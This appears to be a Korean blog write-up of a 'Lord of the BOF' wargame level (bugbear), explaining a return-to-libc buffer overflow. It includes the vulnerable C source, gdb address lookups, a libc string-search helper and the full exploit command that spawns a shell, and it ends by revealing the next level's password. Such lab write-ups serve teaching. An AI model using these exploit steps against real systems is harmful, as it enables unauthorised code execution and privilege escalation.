darkknight / new attacker
[darkknight@localhost darkknight]$ cat bugbear.c
/*
The Lord of the BOF : The Fellowship of the BOF
- bugbear
- RTL1
*/
#include <stdio.h>
#include <stdlib.h>
main(int argc, char *argv[])
{
char buffer[40];
int i;
if(argc < 2){
printf("argv error\n");
exit(0);
}
if(argv[1][47] == '\xbf')
{
printf("stack betrayed you!!\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
}
RTL(Return To Library) 문제다.
공유 라이브러리 영역의 system 함수 주소로 return 하면서 인자로 /bin/sh을 전달하면 된다.
system함수를 쓸 수 있는 이유는 libc.so.6 공유 라이브러리에 printf 함수가 있기에 비록 코드에는 printf 함수만 쓰이지만 libc.so.6 공유 라이브러리가 로드되기 때문에 system 함수도 참조할 수 있다.
따라서 system("/bin/sh") 형태로 호출할 것이다.
bugbear을 복사 후 gdb로 실행한다.
(gdb) b main
Breakpoint 1 at 0x8048436
(gdb) r AAAA
Starting program: /home/darkknight/bugbear2 AAAA
Breakpoint 1, 0x8048436 in main ()
(gdb) p system
$1 = {<text variable, no debug info>} 0x40058ae0 <__libc_system>
p는 print 명령의 약자다. system 함수의 주소는 0x40058ae0이다.
"/bin/sh" 문자열의 주소를 찾을 단계다. system 함수 주소 옆에 libc system이 보인다. libc는 stand C libraries로서 다양한 기본 함수들이 존재한다. system, printf 등등 말이다. 그리고 "/bin/sh" 문자열도 존재한다. 따라서 libc에서 문자열을 찾는데 시작 주소는 system 주소로 설정한다.
#include <stdio.h>
main(){
long shell=0x40058ae0;
while(memcmp((void*)shell,"/bin/sh",8))
shell++;
printf("%p\n",shell);
}
shell 변수에 system 함수의 주소를 넣고 "/bin/sh"을 찾을 때까지 shell 변수를 증가시켜 최종적으로 "/bin/sh" 문자열의 주소를 찾는다. memcmp 대신 strncmp를 사용해도 동일한 결과를 얻을 수 있다. memcmp와 strncmp 함수의 차이는 strncmp 함수는 널문자를 만나면 비교를 멈추는데 memcmp 함수는 널문자를 만나도 주어진 크기만큼 비교를 실시한다.
컴파일 후 실행한 결과는 다음과 같다.
[darkknight@localhost darkknight]$ gcc getaddr.c -o getaddr
[darkknight@localhost darkknight]$ ./getaddr
0x400fbff9
이제 payload를 전달해야 한다.
RTL 방식에서는 다음과 같이 payload를 구성한다.
buffer | sfp | ret addr (system함수) |
dummy | system param ("/bin/sh") |
main 함수의 retn 주소를 system 함수로 설정하고 "/bin/sh"을 system 함수의 인자로 줄 것이다.
system("/bin/sh") 형태로 함수를 실행하게 된다.
dummy가 들어가는 이유는 system 함수가 ebp+8 주소부터 인자로 받기 때문이다. 또한 dummy는 원래 system 함수 다음에 호출할 함수 주소가 들어간다. RTL Chain 방식에서 더 자세하게 알 수 있다. 지금은 system 함수만 호출하기 때문에 dummy로 설정한다. RTL의 동작 방식에 대해 구체적으로 알고 싶으면 다음의 링크를 참고하자.
Return To Library (RTL)
Return To Libray (RTL) 개념 NX Bit(Never Execute Bit)가 적용된 스택을 우회하기 위해서 사용되는 기법. * NX BitNX Bit는 프로세스 명령어나 코드 또는 데이터 저장을 위한 메모리 영역을 따로 분리하는 CPU의
kblab.tistory.com
[darkknight@localhost darkknight]$ ./bugbear `python -c 'print "A"*44+"\xe0\x8a\x05\x40"+"AAAA"+"\xf9\xbf\x0f\x40"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAɀAAAA
bash$ my-pass
euid = 513
new divide
bugbear의 비밀번호는 new divide이다.
'Lord of Buffer Overflow' 카테고리의 다른 글
giant -> assassin (0) | 2023.02.01 |
---|---|
bugbear -> giant (0) | 2023.02.01 |
golem -> darkknight (0) | 2023.01.26 |
skeleton -> golem (0) | 2023.01.25 |
vampire -> skeleton (0) | 2023.01.24 |